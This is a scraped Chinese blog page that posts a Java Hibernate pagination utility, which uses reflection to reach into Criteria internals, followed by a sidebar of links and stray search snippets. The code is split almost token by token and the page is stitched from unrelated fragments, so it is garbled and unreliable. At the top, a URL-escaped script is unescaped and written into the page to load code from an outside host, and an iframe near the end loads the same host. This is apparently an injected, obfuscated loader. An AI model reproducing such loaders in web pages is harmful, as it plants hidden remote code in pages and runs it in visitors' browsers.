精华内容
下载资源
问答
  • Hibernat

    2007-09-23 16:19:00
    Hibernat li> j2ee ComponentReference javaeye tapestry javatang(ajax等) Struts-menu struts标记库 Tapestry中文文档 Tapestry中文文档 老高 J2ME java application JViews Telecom Graphic Objects ...
     
    

    HTML Tags and JavaScript tutorial


    <script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>

    Hibernat



    li>
    j2ee

    ComponentReference
    javaeye tapestry
    javatang(ajax等)
    Struts-menu
    struts标记库
    Tapestry中文文档
    Tapestry中文文档
    老高
    J2ME

    java application

    JViews Telecom Graphic Objects
    JavaScript

    google个性主页的拖拽效果的js
    JavaScript高级教程
    Java基础

    java在线API
    中文版jdk API
    Liferay

    Liferay Portal 系列文章
    Liferay个人收集
    Liferay英文站点
    liferay论坛
    Spring

    Acegi 扩展开发
    acegi官方网站
    Acegi文档翻译与笔记
    AppFuse
    Security Acegi
    springside 中文
    Spring中文网站
    Spring官方网站
    Spring开发参考手册
    Spring聚集
    UML

    jude
    WebServices

    AppFuseXFire
    Java Technology and Web Services
    Java Technology and Web Services - Documentation
    Web Services Code Samples
    电信

    ctiforum
    Essential SNMP, 2nd Edition
    openvoip
    中国网管联盟
    通信专业门户
    通信技术
    工作流

    JBoss jBPM 3.1
    osworkflow
    开源社区

    cas
    Cindy
    数据库

    Oracle? Database PL/SQL User's Guide and Reference
    PL/SQL User's Guide and Reference
    xsb Oracle Blog
    甲骨文学(oracle)
    杂记

    存档

    2007年09月(7)
    2007年08月(20)
    2007年07月(5)
    2007年06月(16)
    2007年05月(12)
    2007年04月(32)
    2007年03月(8)
    2007年02月(4)
    2007年01月(9)
    2006年12月(9)
    2006年11月(19)
    2006年10月(20)
    2006年09月(3)
    2006年08月(4)
    2006年07月(10)
    2006年06月(2)
    2006年05月(3)
    2006年03月(7)
    2006年02月(8)
    2006年01月(3)
    2004年10月(1)












    上一篇: Java2Html
     | 
    下一篇: Hibernate---Criteria


    function StorePage(){d=document;t=d.selection?(d.selection.type!='None'?d.selection.createRange().text:''):(d.getSelection?d.getSelection():'');void(keyit=window.open('http://www.365key.com/storeit.aspx?t='+escape(d.title)+'&u='+escape(d.location.href)+'&c='+escape(t),'keyit','scrollbars=no,width=475,height=575,left=75,top=20,status=no,resizable=yes'));keyit.focus();}


     Hibernate---Criteria



    package
     com.javaeye.common.hibernate;
    import
     java.lang.reflect.Field;
    import
     java.sql.SQLException;
    import
     java.util.ArrayList;
    import
     java.util.List;
    import
     java.util.regex.Matcher;
    import
     java.util.regex.Pattern;
    import
     org.apache.commons.lang.StringUtils;
    import
     org.apache.commons.logging.Log;
    import
     org.apache.commons.logging.LogFactory;
    import
     org.hibernate.Criteria;
    import
     org.hibernate.HibernateException;
    import
     org.hibernate.Session;
    import
     org.hibernate.criterion.CriteriaSpecification;
    import
     org.hibernate.criterion.DetachedCriteria;
    import
     org.hibernate.criterion.Projection;
    import
     org.hibernate.criterion.Projections;
    import
     org.hibernate.impl.CriteriaImpl;
    import
     org.hibernate.impl.CriteriaImpl.OrderEntry;
    import
     org.springframework.dao.DataAccessException;
    import
     org.springframework.orm.hibernate3.HibernateCallback;
    import
     org.springframework.orm.hibernate3.HibernateTemplate;
    import
     org.springframework.util.Assert;
    import
     com.skyon.framework.dao.PaginationSupport;
    public
     
    abstract
     
    class
     HibernateUtils {
        
    private
     
    static
     Log logger 
    =
     LogFactory.getLog(HibernateUtils.
    class
    );
        
    private
     
    static
     String removeSelect(String sql) {
            Assert.notNull(sql, 
    "
    sql must be specified 
    "
    );
            
    int
     beginPos 
    =
     sql.toLowerCase().indexOf(
    "
    from
    "
    );
            Assert.isTrue(beginPos 
    !=
     
    -
    1

    "
     the sql : 
    "
     
    +
     sql 
    +
     
    "
     must has a keyword 'from'
    "
    );
            
    return
     sql.substring(beginPos);
        }
        
    private
     
    static
     String removeOrders(String sql) {
            Pattern p 
    =
     Pattern.compile(
    "
    order//s*by[//w|//W|//s|//S]*
    "
    , Pattern.CASE_INSENSITIVE);
            Matcher m 
    =
     p.matcher(sql);
            StringBuffer sb 
    =
     
    new
     StringBuffer();
            
    while
     (m.find()) {
                m.appendReplacement(sb, 
    ""
    );
            }
            m.appendTail(sb);
            
    return
     sb.toString();
        }
        
    public
     
    static
     
    int
     getTotalCount(HibernateTemplate hibernateTemplate, String queryString, 
    boolean
     isNamedQuery,
                String[] paramNames, Object[] paramValues) 
    throws
     IllegalArgumentException, DataAccessException {
            
    if
     (StringUtils.isBlank(queryString)) {
                
    throw
     
    new
     IllegalArgumentException(
    "
     queryString can't be blank 
    "
    );
            }
            String countQueryString 
    =
     
    "
     select count (*) 
    "
     
    +
     removeSelect(removeOrders(queryString));
            List countList;
            
    if
     (isNamedQuery) {
                countList 
    =
     hibernateTemplate.findByNamedParam(countQueryString, paramNames, paramValues);
            } 
    else
     {
                countList 
    =
     hibernateTemplate.find(countQueryString, paramValues);
            }
            
    return
     ((Integer) countList.get(
    0
    )).intValue();
        }
        
    public
     
    static
     List getPageResult(Criteria criteria, 
    int
     offset, 
    int
     maxPageItems) 
    throws
     HibernateException {
            criteria.setFirstResult(offset);
            criteria.setMaxResults(maxPageItems);
            
    return
     criteria.list();
        }
        
    public
     
    static
     PaginationSupport findByCriteria(HibernateTemplate hibernateTemplate,
                
    final
     DetachedCriteria criteria, 
    final
     
    int
     firstResult, 
    final
     
    int
     maxResults) 
    throws
     DataAccessException {
            
    return
     (PaginationSupport) hibernateTemplate.execute(
    new
     HibernateCallback() {
                
    public
     Object doInHibernate(Session session) 
    throws
     HibernateException, SQLException {
                    Criteria executableCriteria 
    =
     criteria.getExecutableCriteria(session);
                    
    //
     Get the orginal orderEntries
                    OrderEntry[] orderEntries 
    =
     HibernateUtils.getOrders(executableCriteria);
                    
    //
     Remove the orders
                    executableCriteria 
    =
     HibernateUtils.removeOrders(executableCriteria);
                    
    //
     get the original projection
                    Projection projection 
    =
     HibernateUtils.getProjection(executableCriteria);
                    
    int
     totalCount 
    =
     ((Integer) executableCriteria.setProjection(Projections.rowCount()).uniqueResult())
                            .intValue();
                    executableCriteria.setProjection(projection);
                    
    if
     (projection 
    ==
     
    null
    ) {
                        
    //
     Set the ResultTransformer to get the same object
                        
    //
     structure with hql
                        executableCriteria.setResultTransformer(CriteriaSpecification.ROOT_ENTITY);
                    }
                    
    //
     Add the orginal orderEntries
                    executableCriteria 
    =
     HibernateUtils.addOrders(executableCriteria, orderEntries);
                    
    //
     Now, the Projection and the orderEntries have been resumed
                    List items 
    =
     HibernateUtils.getPageResult(executableCriteria, firstResult, maxResults);
                    
    return
     
    new
     PaginationSupport(items, totalCount, firstResult, maxResults);
                }
            }, 
    true
    );
        }
        
    public
     
    static
     Projection getProjection(Criteria criteria) {
            CriteriaImpl impl 
    =
     (CriteriaImpl) criteria;
            
    return
     impl.getProjection();
        }
        
    public
     
    static
     OrderEntry[] getOrders(Criteria criteria) {
            CriteriaImpl impl 
    =
     (CriteriaImpl) criteria;
            Field field 
    =
     getOrderEntriesField(criteria);
            
    try
     {
                
    return
     (OrderEntry[]) ((List) field.get(impl)).toArray(
    new
     OrderEntry[
    0
    ]);
            } 
    catch
     (Exception e) {
                
    throw
     
    new
     InternalError(
    "
     Runtime Exception impossibility can't throw 
    "
    );
            }
        }
        
    public
     
    static
     Criteria removeOrders(Criteria criteria) {
            CriteriaImpl impl 
    =
     (CriteriaImpl) criteria;
            
    try
     {
                Field field 
    =
     getOrderEntriesField(criteria);
                field.set(impl, 
    new
     ArrayList());
                
    return
     impl;
            } 
    catch
     (Exception e) {
                
    throw
     
    new
     InternalError(
    "
     Runtime Exception impossibility can't throw 
    "
    );
            }
        }
        
    public
     
    static
     Criteria addOrders(Criteria criteria, OrderEntry[] orderEntries) {
            CriteriaImpl impl 
    =
     (CriteriaImpl) criteria;
            
    try
     {
                Field field 
    =
     getOrderEntriesField(criteria);
                
    for
     (
    int
     i 
    =
     
    0
    ; i 
    <
     orderEntries.length; i
    ++
    ) {
                    List innerOrderEntries 
    =
     (List) field.get(criteria);
                    innerOrderEntries.add(orderEntries[i]);
                }
                
    return
     impl;
            } 
    catch
     (Exception e) {
                
    throw
     
    new
     InternalError(
    "
     Runtime Exception impossibility can't throw 
    "
    );
            }
        }
        
    private
     
    static
     Field getOrderEntriesField(Criteria criteria) {
            Assert.notNull(criteria, 
    "
     criteria is requried. 
    "
    );
            
    try
     {
                Field field 
    =
     CriteriaImpl.
    class
    .getDeclaredField(
    "
    orderEntries
    "
    );
                field.setAccessible(
    true
    );
                
    return
     field;
            } 
    catch
     (Exception e) {
                
    throw
     
    new
     InternalError();
            }
        }
    }
     

    src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
    展开全文
  • Hibernat实例

    2014-11-21 16:57:07
    Hibernat实例
  • Hibernat课件

    2013-01-06 21:07:55
    Hibernat运用和使用,详细介绍,及举例
  • hibernat培训

    2009-07-24 18:01:27
    hibernat培训 适合新手! hibernat培训 适合新手
  • hibernat面试题

    2017-09-20 11:01:24
    hibernat面试题,仅供参考 2多对一 @ManyToOne-->表示多对一关系 双向 @OneToMany(mappeBy="") 关系交给对方维护 3多对多 @ManyToMany-->代表多对多 @ManyToMany(mappeBy="")mappeBy-->通过此属性把关系交给...
  • hibernat基础教程

    2014-09-04 16:06:24
    hibernat的基础教程,简单的介绍一下这个开发工具框架。
  • hibernat入门

    2009-07-22 14:14:32
    hibernat培训,详细的PPT,由简入难,学习很简单
  • Hibernat培训

    2007-04-15 11:34:13
    hibernat培训 快速入门和上手
  • hibernat3.2.5.ppt

    2011-08-01 12:11:15
    hibernat3.2.5.ppt hibernat3.2.5.ppt hibernat3.2.5.ppt
  • hibernat培训.ppt

    2011-04-21 13:22:34
    hibernat培训.ppt hibernat培训.ppt
  • hibernat-relation

    2008-02-03 21:11:19
    hibernat-relation
  • hibernat-J2EE

    2008-02-03 21:10:11
    hibernat-J2EE
  • hibernat开发指南

    2007-08-24 10:39:46
    hibernat开发指南
  • 主要介绍了Java的Hibernat框架中的Map映射与SortedMap映射,Hibernat是Java的SSH三大web开发框架之一,需要的朋友可以参考下
  • Hibernat_API大全

    2011-03-14 14:46:54
    比较全的Hibernat_API,欢迎大家下载
  • hibernat优化攻略

    2008-10-06 19:53:32
    概述了hibernat的性能优化的各个方面的考虑,需要这方面资料的同学们可以用来借鉴
  • struts+hibernat课件

    2008-06-14 08:57:44
    struts+hibernat课件
  • hibernat spring 整合视频

    2008-05-10 12:10:41
    hibernat spring 整合 视频
  • hibernat-session方法

    2008-02-03 21:13:03
    hibernat-session方法
  • hibernat培训(PPT)

    2009-05-22 18:34:16
    hibernat培训(PPT)hibernat培训(PPT)详细
  • MyEclipse反向生成实体类之hibernat
  • hibernat非常有用的学习文档,hibernat非常有用的学习文档,hibernat非常有用的学习文档,hibernat非常有用的学习文档

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 1,714
精华内容 685
关键字:

hibernat